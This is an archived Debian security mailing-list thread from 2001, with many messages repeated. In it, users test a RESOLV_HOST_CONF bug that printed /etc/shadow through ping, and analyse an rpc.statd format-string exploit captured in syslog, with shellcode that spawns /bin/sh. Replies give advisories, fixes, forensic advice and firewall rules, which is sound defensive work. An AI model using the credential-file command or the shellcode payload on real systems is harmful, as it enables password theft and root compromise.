Re: 'export RESOLV_HOST_CONF= any file you want' local vulnerabi
I tried the exploit on a SuSE 7.0 host, if root starts ping/traceroute..., the /etc/shadow file is being shown, if a normal user exports RESOLV_HOST_CONF, nothing unnormal happens: bj@spock:~ ls -l /bin/ping -rwsr-xr-x 1 root root 23k Okt 4 12:37 /bin/ping bj@spock:~ ldd /bin/ping libc.so.6 = /lib/libc.so.6 (0x40021000) /lib/ld-linux.so.2 = /lib/ld-linux.so.2 (0x4000) bj@spock:~ export RESOLV_HOST_CONF='/etc/shadow' bj@spock:~ ping localhost PING localhost (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.189 ms -snip- bj@spock:~ spock:~ # export RESOLV_HOST_CONF='/etc/shadow' spock:~ # ping localhost /etc/shadow: line 1: bad command `root:blabla:9473:0:1' -snip- /etc/shadow: line 47: bad command `bj:blabla:11194:0:9:7:0::' PING localhost (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.191 ms -snip- spock:~ # Any idea why ? Does the variable not apply for normal users ? Bjrn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: 'export RESOLV_HOST_CONF= any file you want' local vulnerability
Julian Gilbey ([EMAIL PROTECTED]) wrote on 9 January 2001 11:08: Most weird. I get this behaviour when running through a setuid root strace, but I don't get the error messages (and hence the content of /etc/shadow) when I don't use strace. I'm still running potato. You can't strace a suid root binary if you're not root, so this isn't a security problem. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
rpc.statd attack?
I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? -- Cesar Augusto Rorato Crusius__o __o __o __o __o Stanford University _`\,_`\,_`\,_`\,_`\, e-mail:[EMAIL PROTECTED](_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)/(_) www.stanford.edu/~crusius o _ _ _ __o __o __o __o /\_ _ \\o (_)\__/o (_) _`\,_`\,_`\,_`\,_(_) (_)/_\_| \ _|/' \/ (_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)(_) (_)(_)' _\o_ He who sacrifices functionality for ease of use Loses both and deserves neither -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: rpc.statd attack?
[EMAIL PROTECTED] writes: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7[snip] Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L[snip] it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? I don't know that there wasn't a more recent vulnerability in rpc.statd after potato, but I carry no authority in suggesting one way or another. The above *does* look suspiciously like you've been cracked, though. You should know the drill: take offline, copy disk off to backup/forensic storage, blank and reinstall. Look through the forensic copy for changes to inetd, inittab and login. ~Tim -- The light of the world keeps shining, |[EMAIL PROTECTED] Bright in the primal glow |http://piglet.is.dreaming.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: rpc.statd attack?
Previously [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: This is becoming a FAQ.. it's a failed crack attempt. Wichert. -- / Generally uninteresting signature - ignore at your convenience \ | [EMAIL PROTECTED] http://www.liacs.nl/~wichert/ | | 1024D/2FA3BC2D 576E 100B 518D 2F16 36B0 2805 3CB8 9250 2FA3 BC2D | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: rpc.statd attack?
I got the following (alarming) messages on syslog: This is becoming a FAQ.. it's a failed crack attempt. I got the same attempt on Sunday. This is what I found out about it: "The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root." I got this from http://www.cert.org/advisories/CA-2000-17.html The Debian fix is here. http://www.debian.org/security/2000/2719a Systems that are kept up to date should be fine I hope. I don't use NFS so I disabled the nfs-common and nfs-server scripts to be on the safe side. That way rpc* and statd* programs will stop running. jmb -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: rpc.statd attack?
This is just a comment based on all the emails that I have been seeing here (not that I read them all, but...). In theory if you are going to leave your system setup on a public network, then you should really be filtering ALL connections to the box and ONLY ONLY ONLY allowing the services that you want through. I don't remember if ipchains/filtering is in the default kernel, but if it is not then it should be and everyone should have everything blocked :) Then install a good basic rule set, something like: ## Flush all rules and set policies ## $IPCHAINS -F $IPCHAINS -P input REJECT $IPCHAINS -P output ACCEPT $IPCHAINS -P forward DENY ## DENY ALL (This logs deny'ies - DEFAULT = DENY) $IPCHAINS -I input -l -j REJECT ## Allow ICMP (But, REJECT echo requests (ping)) $IPCHAINS -I input -p icmp -j ACCEPT $IPCHAINS -I input -l -p icmp -s 0.0.0.0/0 8 -j REJECT ## Allow SSH $IPCHAINS -I input -p tcp -d 0.0.0.0/0 22 -j ACCEPT ## Allow Localhost $IPCHAINS -I input -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT ## Only allow packets without SYN flag set. ## SYN being set means we are trying to establish a connection ## without it being set means the connection IS established. ## This allows outbound to return. ## $IPCHAINS -I input -p tcp \! -y -j ACCEPT There is possibly a better way to do this, but I don't like the ipchains interface, so I have not bothered to learn it. But at any rate this is a great basic rule set to keep you out of having issues like this. Just my thoughts. Comments? --Jason On Tue, Jan 09, 2001 at 12:31:59PM -0800, [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: rpc.statd attack?
On Tue, Jan 09, 2001 at 12:31:59PM -0800, [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220 it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? If it had been a successful attack, the %x and %n's in the above would not have come through to syslog; it would have crashed well beforehand. Dan /\ /\ | Daniel Jacobowitz|__|SCS Class of 2002 | | Debian GNU/Linux Developer__Carnegie Mellon University | | [EMAIL PROTECTED] | | [EMAIL PROTECTED] | \/ \/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: 'export RESOLV_HOST_CONF= any file you want' local vulnerabi
I tried the exploit on a SuSE 7.0 host, if root starts ping/traceroute..., the /etc/shadow file is being shown, if a normal user exports RESOLV_HOST_CONF, nothing unnormal happens: [EMAIL PROTECTED]:~ ls -l /bin/ping -rwsr-xr-x 1 root root 23k Okt 4 12:37 /bin/ping [EMAIL PROTECTED]:~ ldd /bin/ping libc.so.6 = /lib/libc.so.6 (0x40021000) /lib/ld-linux.so.2 = /lib/ld-linux.so.2 (0x4000) [EMAIL PROTECTED]:~ export RESOLV_HOST_CONF='/etc/shadow' [EMAIL PROTECTED]:~ ping localhost PING localhost (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.189 ms -snip- [EMAIL PROTECTED]:~ spock:~ # export RESOLV_HOST_CONF='/etc/shadow' spock:~ # ping localhost /etc/shadow: line 1: bad command `root:blabla:9473:0:1' -snip- /etc/shadow: line 47: bad command `bj:blabla:11194:0:9:7:0::' PING localhost (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.191 ms -snip- spock:~ # Any idea why ? Does the variable not apply for normal users ? Björn
Re: 'export RESOLV_HOST_CONF= any file you want' local vulnerability
On Mon, Jan 08, 2001 at 05:57:23PM +, thomas lakofski wrote: Since I've not had any response yet, I thought I'd give a demonstration of how nasty this is: Script started on Mon Jan 8 17:48:23 2001 [EMAIL PROTECTED]:~$ export RESOLV_HOST_CONF=/etc/shadow [EMAIL PROTECTED]:~$ ping localhost PING localhost (127.0.0.1): 56 data bytes --- localhost ping statistics --- 2 packets transmitted, 0 packets received, 100% packet loss [EMAIL PROTECTED]:~$ fping localhost /etc/shadow: line 1: bad command `root:censored:11063:0:9:7:::' [snip] Most weird. I get this behaviour when running through a setuid root strace, but I don't get the error messages (and hence the content of /etc/shadow) when I don't use strace. I'm still running potato. Julian -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Julian Gilbey, Dept of Maths, Queen Mary, Univ. of London Debian GNU/Linux Developer, see http://people.debian.org/~jdg Donate free food to the world's hungry: see http://www.thehungersite.com/
Re: 'export RESOLV_HOST_CONF= any file you want' local vulnerability
Julian Gilbey ([EMAIL PROTECTED]) wrote on 9 January 2001 11:08: Most weird. I get this behaviour when running through a setuid root strace, but I don't get the error messages (and hence the content of /etc/shadow) when I don't use strace. I'm still running potato. You can't strace a suid root binary if you're not root, so this isn't a security problem.
rpc.statd attack?
I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? -- Cesar Augusto Rorato Crusius__o __o __o __o __o Stanford University _`\,_`\,_`\,_`\,_`\, e-mail:[EMAIL PROTECTED](_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)/(_) www.stanford.edu/~crusius o _ _ _ __o __o __o __o /\_ _ \\o (_)\__/o (_) _`\,_`\,_`\,_`\,_(_) (_)/_\_| \ _|/' \/ (_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)(_) (_)(_)' _\o_ He who sacrifices functionality for ease of use Loses both and deserves neither
Re: rpc.statd attack?
[EMAIL PROTECTED] writes: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7[snip] Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L[snip] it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? I don't know that there wasn't a more recent vulnerability in rpc.statd after potato, but I carry no authority in suggesting one way or another. The above *does* look suspiciously like you've been cracked, though. You should know the drill: take offline, copy disk off to backup/forensic storage, blank and reinstall. Look through the forensic copy for changes to inetd, inittab and login. ~Tim -- The light of the world keeps shining, |[EMAIL PROTECTED] Bright in the primal glow |http://piglet.is.dreaming.org
Re: rpc.statd attack?
Previously [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: This is becoming a FAQ.. it's a failed crack attempt. Wichert. -- / Generally uninteresting signature - ignore at your convenience \ | [EMAIL PROTECTED] http://www.liacs.nl/~wichert/ | | 1024D/2FA3BC2D 576E 100B 518D 2F16 36B0 2805 3CB8 9250 2FA3 BC2D |
Re: rpc.statd attack?
I filed a bug against hostname for this behavior. Perhaps I should refile it against libc6... Doogie, if you're reading this and you beat me to the punch, go for it... On Tue, 9 Jan 2001 [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? -- Cesar Augusto Rorato Crusius__o __o __o __o __o Stanford University _`\,_`\,_`\,_`\,_`\, e-mail:[EMAIL PROTECTED](_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)/(_) www.stanford.edu/~crusius o _ _ _ __o __o __o __o /\_ _ \\o (_)\__/o (_) _`\,_`\,_`\,_`\,_(_) (_)/_\_| \ _|/' \/ (_)/(_) (_)/(_) (_)/(_) (_)/(_) (_)(_) (_)(_)' _\o_ He who sacrifices functionality for ease of use Loses both and deserves neither -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- Pardon me, but you have obviously mistaken me for someone who gives a damn. email [EMAIL PROTECTED]
Re: rpc.statd attack?
I got the following (alarming) messages on syslog: This is becoming a FAQ.. it's a failed crack attempt. I got the same attempt on Sunday. This is what I found out about it: The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root. I got this from http://www.cert.org/advisories/CA-2000-17.html The Debian fix is here. http://www.debian.org/security/2000/2719a Systems that are kept up to date should be fine I hope. I don't use NFS so I disabled the nfs-common and nfs-server scripts to be on the safe side. That way rpc* and statd* programs will stop running. jmb
Re: rpc.statd attack?
This is just a comment based on all the emails that I have been seeing here (not that I read them all, but...). In theory if you are going to leave your system setup on a public network, then you should really be filtering ALL connections to the box and ONLY ONLY ONLY allowing the services that you want through. I don't remember if ipchains/filtering is in the default kernel, but if it is not then it should be and everyone should have everything blocked :) Then install a good basic rule set, something like: ## Flush all rules and set policies ## $IPCHAINS -F $IPCHAINS -P input REJECT $IPCHAINS -P output ACCEPT $IPCHAINS -P forward DENY ## DENY ALL (This logs deny'ies - DEFAULT = DENY) $IPCHAINS -I input -l -j REJECT ## Allow ICMP (But, REJECT echo requests (ping)) $IPCHAINS -I input -p icmp -j ACCEPT $IPCHAINS -I input -l -p icmp -s 0.0.0.0/0 8 -j REJECT ## Allow SSH $IPCHAINS -I input -p tcp -d 0.0.0.0/0 22 -j ACCEPT ## Allow Localhost $IPCHAINS -I input -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT ## Only allow packets without SYN flag set. ## SYN being set means we are trying to establish a connection ## without it being set means the connection IS established. ## This allows outbound to return. ## $IPCHAINS -I input -p tcp \! -y -j ACCEPT There is possibly a better way to do this, but I don't like the ipchains interface, so I have not bothered to learn it. But at any rate this is a great basic rule set to keep you out of having issues like this. Just my thoughts. Comments? --Jason On Tue, Jan 09, 2001 at 12:31:59PM -0800, [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack?
Re: rpc.statd attack?
On Tue, Jan 09, 2001 at 12:31:59PM -0800, [EMAIL PROTECTED] wrote: I got the following (alarming) messages on syslog: Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220 it looks like an attack (specially when I see /bin/sh hidden in there). I searched the lists and it seems that this problem should have been corrected before potato was released. Any reason for worries, or is there any reason why I should think it was an unsuccessful attack? If it had been a successful attack, the %x and %n's in the above would not have come through to syslog; it would have crashed well beforehand. Dan /\ /\ | Daniel Jacobowitz|__|SCS Class of 2002 | | Debian GNU/Linux Developer__Carnegie Mellon University | | [EMAIL PROTECTED] | | [EMAIL PROTECTED] | \/ \/
